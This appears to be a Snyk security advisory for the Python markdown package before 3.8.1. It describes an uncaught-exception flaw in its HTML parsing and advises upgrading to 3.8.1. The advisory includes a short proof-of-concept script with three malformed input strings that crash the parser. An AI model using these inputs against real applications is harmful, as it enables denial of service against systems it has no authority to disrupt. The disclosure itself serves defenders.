Uncaught Exception Affecting markdown package, versions [,3.8.1)
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-PYTHON-MARKDOWN-15428352
- published6 Mar 2026
- disclosed5 Mar 2026
- creditKeshav Goyal
Introduced: 5 Mar 2026
NewCVE-2025-69534 (opens in a new tab)How to fix?
Upgrade markdown to version 3.8.1 or higher.
Overview
Affected versions of this package are vulnerable to Uncaught Exception via the HTMLParser component. An attacker can cause application crashes or potentially disclose information by submitting specially crafted, malformed HTML-like sequences in Markdown input.
PoC
import markdown
print(markdown.__version__)
crash_inputs = [
"<![",
"<![>og))/uw_ f{tv+pAr$Ss+[6;^{=<:>g2oV|.pdTMu(Q-E#",
"<![ g'\"7z5r7cojSO;2LAo0(1Vv5G>,-P",
]
for i, crash_input in enumerate(crash_inputs, 1):
print(f"\nTesting crash input #{i}:\n{repr(crash_input)}")
try:
output = markdown.markdown(crash_input, extensions=["extra"])
print("No crash, output:")
print(output)
except Exception as e:
print(f"Crash confirmed! Exception:\n{e}")